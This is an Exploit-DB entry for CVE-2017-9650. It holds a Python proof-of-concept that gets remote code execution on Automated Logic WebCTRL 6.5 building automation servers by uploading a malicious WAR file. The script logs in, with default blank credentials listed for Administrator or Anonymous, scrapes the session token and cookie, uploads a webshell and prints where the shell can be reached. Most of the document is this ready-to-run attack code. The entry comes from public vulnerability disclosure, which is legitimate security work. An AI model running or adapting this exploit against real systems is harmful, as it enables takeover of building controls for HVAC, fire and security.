Automated Logic WebCTRL 6.5 - Unrestricted File Upload / Remote Code Execution

EDB-ID: 42544
Author: LiquidWorm
Published: 2017-08-22
CVE: CVE-2017-9650
Type: Webapps
Platform: Java
Vulnerable App: N/A

 # -*- coding: utf8 -*- 
#
#
# Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution
#
#
# Vendor: Automated Logic Corporation
# Product web page: http://www.automatedlogic.com
# Affected version: ALC WebCTRL, i-Vu, SiteScan Web 6.5 and prior
# ALC WebCTRL, SiteScan Web 6.1 and prior
# ALC WebCTRL, i-Vu 6.0 and prior
# ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior
# ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior
#
# Summary: WebCTRL®, Automated Logic's web-based building automation
# system, is known for its intuitive user interface and powerful integration
# capabilities. It allows building operators to optimize and manage
# all of their building systems - including HVAC, lighting, fire, elevators,
# and security - all within a single HVAC controls platform. It's everything
# they need to keep occupants comfortable, manage energy conservation measures,
# identify key operational problems, and validate the results.
#
# Desc: WebCTRL suffers from an authenticated arbitrary code execution
# vulnerability. The issue is caused due to the improper verification
# when uploading Add-on (.addons or .war) files using the uploadwarfile
# servlet. This can be exploited to execute arbitrary code by uploading
# a malicious web archive file that will run automatically and can be
# accessed from within the webroot directory. Additionaly, an improper
# authorization access control occurs when using the 'anonymous' user.
# By specification, the anonymous user should not have permissions or
# authorization to upload or install add-ons. In this case, when using
# the anonymous user, an attacker is still able to upload a malicious
# file via insecure direct object reference and execute arbitrary code.
# The anonymous user was removed from version 6.5 of WebCTRL.
#
# Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601)
# Apache-Coyote/1.1
# Apache Tomcat/7.0.42
# CJServer/1.1
# Java/1.7.0_25-b17
# Java HotSpot Server VM 23.25-b01
# Ant 1.7.0
# Axis 1.4
# Trove 2.0.2
# Xalan Java 2.4.1
# Xerces-J 2.6.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5431
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5431.php
#
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-17-234-01
# CVE ID: CVE-2017-9650
# CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9650
#
#
# 30.01.2017
#
#

import itertools
import mimetools
import mimetypes
import cookielib
import binascii
import urllib2
import urllib
import sys
import re
import os

from urllib2 import URLError
global bindata

__author__ = 'lqwrm'

piton = os.path.basename(sys.argv[0])

def bannerche():
print '''
@-------------------------------------------------@
| |
| WebCTRL 6.5 Authenticated RCE PoC |
| ID: ZSL-2017-5431 |
| Copyleft (c) 2017, Zero Science Lab |
| |
@-------------------------------------------------@
'''
if len(sys.argv) < 3:
print '[+] Usage: '+piton+' <IP> <WAR FILE>'
print '[+] Example: '+piton+' 10.0.0.17 webshell.war\n'
sys.exit()

bannerche()

host = sys.argv[1]
filename = sys.argv[2]

with open(filename, 'rb') as f:
content = f.read()
hexo = binascii.hexlify(content)
bindata = binascii.unhexlify(hexo)

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

print '[+] Probing target http://'+host

try:
checkhost = opener.open('http://'+host+'/index.jsp?operatorlocale=en')
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print '[!] Error 001:'
print '[-] Check your target!'
print
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print '[!] Error 002:'
print '[-] Check your target!'
print
sys.exit()

print '[+] Target seems OK.'
print '[+] Login please:'

print '''
Default username: Administrator, Anonymous
Default password: (blank), (blank)
'''

username = raw_input('[*] Enter username: ')
password = raw_input('[*] Enter password: ')

login_data = urllib.urlencode({'pass':password, 'name':username, 'touchscr':'false'})

opener.addheaders = [('User-agent', 'Thrizilla/33.9')]
login = opener.open('http://'+host+'/?language=en', login_data)
auth = login.read()

if re.search(r'productName = \'WebCTRL', auth):
print '[+] Authenticated!'
token = re.search('wbs=(.+?)&', auth).group(1)
print '[+] Got wbs token: '+token
cookie1, cookie2 = [str(c) for c in cj]
cookie = cookie1[8:51]
print '[+] Got cookie: '+cookie
else:
print '[-] Incorrect username or password.'
print
sys.exit()

print '[+] Sending payload.'

class MultiPartForm(object):

def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return

def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):
self.form_fields.append((name, value))
return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return

def __str__(self):

parts = []
part_boundary = '--' + self.boundary

parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)

parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)

flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)

if __name__ == '__main__':
form = MultiPartForm()
form.add_field('wbs', token)
form.add_field('file"; filename="'+filename, bindata)
request = urllib2.Request('http://'+host+'/_common/servlet/lvl5/uploadwarfile')
request.add_header('User-agent', 'SCADA/8.0')
body = str(form)
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
urllib2.urlopen(request).read()

print '[+] Payload uploaded.'
print '[+] Shell available at: http://'+host+'/'+filename[:-4]
print

sys.exit()

Related Posts